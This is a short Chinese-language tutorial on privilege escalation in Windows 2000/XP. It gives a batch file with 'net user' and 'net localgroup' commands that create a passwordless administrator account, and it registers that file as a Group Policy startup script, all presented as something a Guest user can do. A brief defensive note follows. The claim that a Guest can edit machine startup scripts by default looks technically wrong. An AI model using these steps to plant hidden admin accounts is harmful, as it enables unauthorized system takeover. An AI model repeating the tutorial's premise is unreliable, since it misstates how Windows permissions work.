在 Windows 2000/XP 中，管理員可隨時重設其他帳號密碼或將帳號加入 Administrators 群組。但若你只有 Guest 權限，表面上無法執行這些指令。然而，透過「開機啟動腳本」機制，Guest 也能在系統啟動階段以 SYSTEM 權限執行批次檔，從而建立管理員帳號。

實作步驟

1. 建立批次檔 admin.bat，內容如下：
   

   net user admin /add
   net localgroup administrators admin /add
   

   （這會建立一個名為 admin、密碼為空的管理員帳號。）
2. 將批次檔設為開機腳本：
   執行 gpedit.msc → 「電腦設定」→「Windows 設定」→「指令碼(啟動/關機)」→ 雙擊「啟動」→「新增」選取 admin.bat。
3. 重新開機，系統即會自動建立 admin 管理員帳號。

原理與防範

開機腳本在使用者登入前以 SYSTEM 權限執行，故不受 Guest 權限限制。預設 Guest/受限帳號可存取登錄檔與群組原則，才使此手法可行。身為系統管理員，應禁止受限用戶修改登錄檔、群組原則，並限制開機腳本權限，才能真正杜絕權限提升攻擊。

補充：遠端登入的 Guest 帳號通常無權限，且多數伺服器已停用 Guest。本文旨在提供提升權限的思路，提醒管理員加強防禦。